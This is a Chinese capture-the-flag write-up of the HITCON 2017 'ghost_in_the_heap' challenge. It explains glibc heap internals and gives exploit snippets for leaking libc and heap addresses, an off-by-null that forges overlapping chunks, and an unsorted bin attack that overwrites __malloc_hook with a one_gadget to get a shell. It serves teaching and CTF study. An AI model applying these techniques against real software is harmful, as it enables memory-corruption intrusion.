前言

前面介绍了几种 File 结构体的攻击方式,其中包括修改 vtable的攻击,以及在最新版本 libc 中 通过 修改 File 结构体中的一些缓冲区的指针来进行攻击的例子。

本文以 hitcon 2017ghost_in_the_heap 为例子,介绍一下在实际中的利用方式。

不过我觉得这个题的精华不仅仅是在最后利用 File 结构体 getshell 那块, 前面的通过堆布局,off-by-null 进行堆布局的部分更是精华中的精华,通过这道题可以对 ptmalloc 的内存分配机制有一个更加深入的了解。

分析的 idb 文件,题目,exp:

https://gitee.com/hac425/blog_data/tree/master/pwn_file

正文

拿到一道题,首先看看保护措施,这里是全开。然后看看所给的各个功能的作用。

总结一下, 我们可以 最多分配 3个 0xb0 大小的 chunk, 以及 一个 0x60chunk,然后 在 分配 heapoff-by-one 可以修改下一块的 size 位(细节后面说), 分配 ghost 时,在输入数据后没有在数据末尾添 \x00 ,同时有一个可以获取 ghost 的函数,可以 leak 数据。

有一个细节需要提一下:

在程序中 new_heap 时是通过 malloc(0xa8), 这样系统会分配 0xb0 字节的 chunk, 原因是对齐导致的, 剩下需要的那8个字节由下一个堆块的 pre_size 提供。


0x5555557571c0 是一个 heap 所在 chunk 的基地址, 他分配了 0xb0 字节,位于 0x555555757270 的 8 字节也是给他用的。

信息泄露绕过 aslr && 获得 heap 和 libc 的地址

先放一张信息泄露的草图压压惊

在堆中进行信息泄露我们可以充分利用堆的分配机制,在堆的分配释放过程中会用到双向链表,这些链表就是通过 chunk 中的指针链接起来的。如果是 bin 的第一个块里面的指针就全是 libc 中的地址,如果 chunk 所属的 bin 有多个 chunk 那么chunk 中的指针就会指向 heap 中的地址。 利用这两个 tips , 加上上面所说的 , watch_ghost可以 leak 内存中的数据,再通过精心的堆布局,我们就可以拿到 libcheap 的基地址

回到这个题目来看,我们条件其实是比较苛刻的,我们只有 ghost 的内存是能够读取的。而 分配 ghost 所得到的 chunk 的大小是 0x60 字节的,这是在 fastbin 的大小范围的, 所以我们释放后,他会进入 fastbin ,由于该chunk是其 所属 fastbin 的第一项, 此时 chunk->fd 会被设置为 0, chunk->bk 内容不变。

测试一下即可

add_ghost(12345, "s"*0x20)
new_heap("s")
remove_ghost()

所以单单靠 ghost 是不能实现信息泄露的。

下面看看正确的思路。

leak libc

首先

add_ghost(12345, "ssssssss")
new_heap("b")   # heap 0
new_heap("b")   # heap 1   
new_heap("b")   # heap 2

# ghost ---> fastbin (0x60)
remove_ghost()
del_heap(0)

然后

del_heap(2)  #触发 malloc cosolidate , 清理 fastbin --> unsorted, 此时 ghost + heap 0 合并

可以看到 fastbinunsorted bin 合并了,具体原因在 _int_free 函数的代码里面。

FASTBIN_CONSOLIDATION_THRESHOLD 的值为 0x10000 ,当 freeheap2 后,会和 top chunnk 合并,此时的 size 明显大于 0x10000, 所以会进入 malloc_consolidate 清理 fastbin ,所以会和unsorted bin 合并形成了大的 unsorted bin.

然后

new_heap("b")   # heap 0, 切割上一步生成的 大的 unsorted bin, 剩下 0x60 , 其中包含 main_arean 的指针
add_ghost(12345, "ssssssss")  # 填满 fd 的 8 个字节, 调用 printf 时就会打印 main_arean 地址

先分配 heap 得到 heap_0, 此时原来的 unsorted bin 被切割, 剩下一个小的的 unsorted bin, 其中有指针 fd, bk 都是指向 main_arean, 然后我们在 分配一个 ghost ,填满 fd8 个字节, 然后调用 printf时就会打印 main_arean 地址。

调试看看。

0x00005555557570c0add_ghost 返回的地址,然后使用 watch_ghost 就能 leak libc 的地址了。具体可以看文末的 exp

leak heap

如果要 leak heap 的地址,我们需要使某一个 bin中有两个 chunk, 这里选择构造两个 unsorted bin.

new_heap("b")   # heap 2

remove_ghost()
del_heap(0)
del_heap(2)  # malloc cosolidate , 清理 fastbin --> unsorted, 此时 ghost + heap 0 合并

new_heap("b")   # heap 0
new_heap("b")   # heap 2
# |unsorted bin 0xb0|heap 1|unsorted bin 0x60|heap 2|top chunk|
# 两个 unsorted bin  使用双向链表,链接到一起
del_heap(1)
new_heap("b")   # heap 1 
del_heap(0)


构造了两个 unsorted bin, 当 add_ghost 时就会拿到 下面那个 unsorted bin, 它的 bk 时指向 上面那个 unsorted bin 的,这样就可以 leak heap 了,具体看代码(这一步还有个小 tips, 代码里有)。

我们来谈谈 第一步到第二步为啥会出现 smallbin ,内存分配时,首先会去 fastbin , smallbin 中分配内存,不能分配就会 遍历· unsorted bin, 然后再去 smallbin 找。

具体流程如下( 来源 ):

所以在第一次 new heap 时 ,unsorted bin进入 smallbin ,然后 被切割,剩下一个 0x60unsorted bin , 再次 new heapunsorted bin进入 smallbin,然后在分配 new heap 需要的内存 0xb0 , 然后会从 top chunk 分配,于是 出现了 smallbin

下面继续

构造exploit之 off-by-one

经过上一步我们已经 拿到了 libcheap 的地址。下面讲讲怎么 getshell
首先清理一下 heap

remove_ghost()
del_heap(1)
del_heap(2)

然后初始化一下堆状态

add_ghost(12345, "ssssssss")
new_heap("b")   # heap 0
new_heap("b")   # heap 1   
new_heap("b")   # heap 2

现在的 heap 是这样的

然后构建一个较大的 unsorted bin

remove_ghost()
del_heap(0)
del_heap(2)
new_heap("s")
new_heap("s")
log.info("create unsorted bin: |heap 0|unsorted_bin(0x60)|heap 1|heap 2|top chunk|")
# pause()

del_heap(0)
del_heap(1)

下面使用 off-by-null 进行攻击,先说说这种攻击为啥可以实现,文章开头就说, new_heap 时获取输入,最多可以读取 0xa8 个字节的数据,最后会在末尾添加 0x00 ,所以实际上是 0xa9 字节 , 因为 0xa8 字节 时已经用完了 下一个 chunkpresize 区域 , 第0xa9字节就会覆盖 下一个 chunksize 位, 这就是 off-by-null, 具体细节比较复杂,下面一一道来。

首先触发 off-by-one

new_heap("a"*0xa8)

可以看到,在调用 malloc 分配内存后, heap_0heap 的开头分配,然后在 偏移 0xb0 位置处有一个 0x110 大小的 unsorted bin, 此时 heap_2pre_size0x110, pre_inuse0。所以通过 heap_2 找到的 pre chunk0xb0 处开始的 0x110 大小的 chunk.

然后 off-by-null 后, unsorted binsize 域 变成了 0x100 这就造成了 0x10 大小的 hole.

0x5555557571b0 就是 hole.
此时 heap_2pre_sizepre_inuse没变化。

在清理下

new_heap("s")
del_heap(0)
del_heap(1)

这里那两个 unsorted bin 不合并的原因是,系统判定下面那个 unsorted bin ,找到 hole 里面的 第二个 8字节,取它的最低位,为0表示已经释放,为1则未被释放。由于那里值 为 0x3091 (不知道从哪来的),所以系统会认为它还没有被释放。

此时 heap_2pre_size0x110, pre_inuse0。如果我们释放掉 heap2 ,系统根据 pre_size 找到 偏移 0xb0 ,并且会认为 这个块已经释放( pre_inuse0), 然后就会与 heap2 合并,这样就会有 unsorted bin 的交叉情况了。

要能成功 free heap_2 还需要 偏移 0xb0 处伪造一个 free chunk 来过掉 unlink check.

# fake free chunk
add_ghost(12345, p64(heap + 0xb0)*2)
new_heap(p64(0)*8 + p64(0) + p64(0x111) + p64(heap) + p64(heap)) # 0
new_heap("s")  #防止和 top chunk 合并

del_heap(2)

首先分配 ghost ,它的 fdbk 域都是 偏移 0xb0 , 然后在 分配 heap ,在 伪造偏移 0xb0 free chunk , 使他的 fdbk 都指向 ghost 所在块的基地址。
这样就能过掉 unlink 的 检查
然后 del_heap(2), 获得一个 0x1c0unsorted bin , 可以看到此时已经有 free chunk 的交叉情况了。

下一步,在交叉区域内构造 unsorted bin, 然后 分配内存,修改其中的 bk 进行 unsorted bin攻击

del_heap(0)
new_heap("s")  # 0
new_heap("s")  # 2

del_heap(0)
del_heap(2)

首先释放掉 heap0 增加两个heap. ,会出现交叉的。原因有两个 unsorted bin.

然后分别释放 heap 0, heap 2,注意在释放 heap 0 的时候,由于画红圈标注的那个 smallbin 中的 pre_inuse 为 1, 所以 它上面的那个 smallbin 没有和 unsorted bin 合并, 原因在于,上一步 new_heap("s") # 2 时 , 切割完后,剩下 chunk 开头正好是 画红圈标注的那个 smallbin, 就会设置 它的 pre_inuse 为 1。

最后我们有了两个 unsorted bin.再次分配 heap 时,会先分配到位于 0x60,大小为 0xb0unsorted bin,此时我们就可以修改 位于 0xb0 大小为 0x1c0unsorted bin的首部,进而 进行 unsorted bin 攻击。

unsorted bin attack

现在我们已经有了 unsorted bin 攻击的能力了,目前我知道的攻击方式如下。

在调用 scanf 获取输入时,首先会把输入的东西复制到 [_IO_base_base, _IO_base_end], 最大大小为 _IO_base_end - _IO_base_base
修改 unsorted binbck_IO_base_end-0x10 ,就可以使 _IO_base_end=main_arens+0x88,我们就能修改很多东西了,而且 malloc_hook 就在这里面。

# 修改 unsorted bin 
new_heap(p64(0)*8 + p64(0) + p64(0xb1) + p64(0) + p64(buf_end-0x10))
# 触发unsorted bin attack, 然后输入内容,修改 malloc_hook 为 magic
new_heap(("\x00"*5 + p64(lock) + p64(0)*9 + p64(vtable)).ljust(0x1ad,"\x00")+ p64(magic))

注意 unsorted binsize 域 一定要修改为 0xb1, 原因是 分配内存时如果 smallbin, fastbin都不能分配,就会遍历 unsorted bin ,如果找到大小完全匹配的就直接返回,停止遍历,否则会持续性遍历,此时的 bck 已经被修改为 _IO_base_end-0x10, 如果遍历到这个, 会 check ,具体原因可以自行调试看。

我们接下来需要分配heap 大小 为 0xb0, 设置size 域为 0xb1, 会在 unsorted bin 第一次遍历后直接返回。不会报错。此时unsorted bin完成。

magic 可用 one_gadget 查找。
最后 del_heap(2) 触发 malloc

# 此时 unsorted bin 已经损坏, del heap 2触发
# 堆 unsorted bin的操作
# 触发 malloc_printerr 
# malloc_printerr 里面会调用 malloc 
del_heap(2)

总结

这道题非常不错,不仅学到了利用 file 结构体的新型攻击方式,还可以通过这道题深入理解堆分配的流程。

参考

http://brieflyx.me/2016/heap/glibc-heap/

https://github.com/scwuaptx/CTF/tree/master/2017-writeup/hitcon/ghost_in_the_heap

https://tradahacking.vn/hitcon-2017-ghost-in-the-heap-writeup-ee6384cd0b7

源链接

Hacking more

...